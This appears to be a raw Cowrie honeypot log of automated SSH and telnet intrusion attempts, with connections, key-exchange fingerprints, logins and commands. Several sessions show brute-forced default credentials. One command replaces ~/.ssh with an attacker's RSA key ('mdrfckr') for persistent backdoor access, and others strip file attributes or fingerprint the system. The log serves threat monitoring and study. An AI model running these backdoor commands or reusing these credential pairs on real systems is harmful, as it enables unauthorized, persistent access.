{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:13.059921Z","src_ip":"156.236.64.76","session":"9121b34af3f4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"password","message":"login attempt [steam/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:13.903984Z","src_ip":"156.236.64.76","session":"9121b34af3f4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:14.339843Z","src_ip":"156.236.64.76","session":"9121b34af3f4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:14.343332Z","src_ip":"156.236.64.76","session":"9121b34af3f4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:14.347323Z","src_ip":"156.236.64.76","session":"9121b34af3f4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:14.553602Z","src_ip":"156.236.64.76","session":"9121b34af3f4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:14.992679Z","src_ip":"156.236.64.76","session":"9121b34af3f4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:14.995881Z","src_ip":"156.236.64.76","session":"9121b34af3f4","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:15.199192Z","src_ip":"156.236.64.76","session":"9121b34af3f4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:15.203328Z","src_ip":"156.236.64.76","session":"9121b34af3f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.236.64.76","src_port":47884,"dst_ip":"10.17.0.5","dst_port":22,"session":"6291c93991f7","protocol":"ssh","message":"New connection: 156.236.64.76:47884 (10.17.0.5:22) [session: 6291c93991f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:15.387509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:15.392820Z","src_ip":"156.236.64.76","session":"6291c93991f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:15.588679Z","src_ip":"156.236.64.76","session":"6291c93991f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.529256582260132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:15.740083Z","src_ip":"138.252.125.29","session":"edebbb88274e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:16.430076Z","src_ip":"156.236.64.76","session":"6291c93991f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:17.634169Z","src_ip":"156.236.64.76","session":"6291c93991f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.236.64.76","src_port":48052,"dst_ip":"10.17.0.5","dst_port":22,"session":"275d957abed3","protocol":"ssh","message":"New connection: 156.236.64.76:48052 (10.17.0.5:22) [session: 275d957abed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:17.825484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:17.834265Z","src_ip":"156.236.64.76","session":"275d957abed3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:18.034428Z","src_ip":"156.236.64.76","session":"275d957abed3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:18.857737Z","src_ip":"156.236.64.76","session":"275d957abed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:19.055934Z","src_ip":"156.236.64.76","session":"275d957abed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:19.061545Z","src_ip":"156.236.64.76","session":"9121b34af3f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.400071620941162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:29.424136Z","src_ip":"76.14.162.74","session":"5e12283d6d54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39478,"dst_ip":"159.203.135.109","dst_port":22,"session":"0adb599ef2c5","protocol":"ssh","message":"New connection: 159.203.92.129:39478 (159.203.135.109:22) [session: 0adb599ef2c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:29.659632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:29.663810Z","src_ip":"159.203.92.129","session":"0adb599ef2c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:29.668418Z","src_ip":"159.203.92.129","session":"0adb599ef2c5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2026","message":"login attempt [admin/admin@2026] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:29.683327Z","src_ip":"159.203.92.129","session":"0adb599ef2c5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:29.726118Z","src_ip":"159.203.92.129","session":"0adb599ef2c5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:29.729595Z","src_ip":"159.203.92.129","session":"0adb599ef2c5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:29.733791Z","src_ip":"159.203.92.129","session":"0adb599ef2c5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:29.747128Z","src_ip":"159.203.92.129","session":"0adb599ef2c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:29.753003Z","src_ip":"159.203.92.129","session":"0adb599ef2c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00371742248535,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:31.825217Z","src_ip":"118.68.22.252","session":"ea8e5bf41738","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.68.22.252","src_port":57030,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ecad10e1664","protocol":"telnet","message":"New connection: 118.68.22.252:57030 (159.203.135.109:23) [session: 6ecad10e1664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:28:33.500448Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":38322,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0e81f9ee20c","protocol":"ssh","message":"New connection: 74.91.200.154:38322 (10.17.0.5:22) [session: a0e81f9ee20c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:07.371888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:07.376816Z","src_ip":"74.91.200.154","session":"a0e81f9ee20c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:07.586250Z","src_ip":"74.91.200.154","session":"a0e81f9ee20c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"temppwd","message":"login attempt [ubuntu/temppwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:08.454530Z","src_ip":"74.91.200.154","session":"a0e81f9ee20c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:09.667883Z","src_ip":"74.91.200.154","session":"a0e81f9ee20c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47502,"dst_ip":"159.203.135.109","dst_port":22,"session":"010277b88a44","protocol":"ssh","message":"New connection: 159.203.92.129:47502 (159.203.135.109:22) [session: 010277b88a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:14.343518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:14.353472Z","src_ip":"159.203.92.129","session":"010277b88a44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:14.358699Z","src_ip":"159.203.92.129","session":"010277b88a44","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin_123","message":"login attempt [admin/admin_123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:29:14.382322Z","src_ip":"159.203.92.129","session":"010277b88a44","protocol":"ssh"}
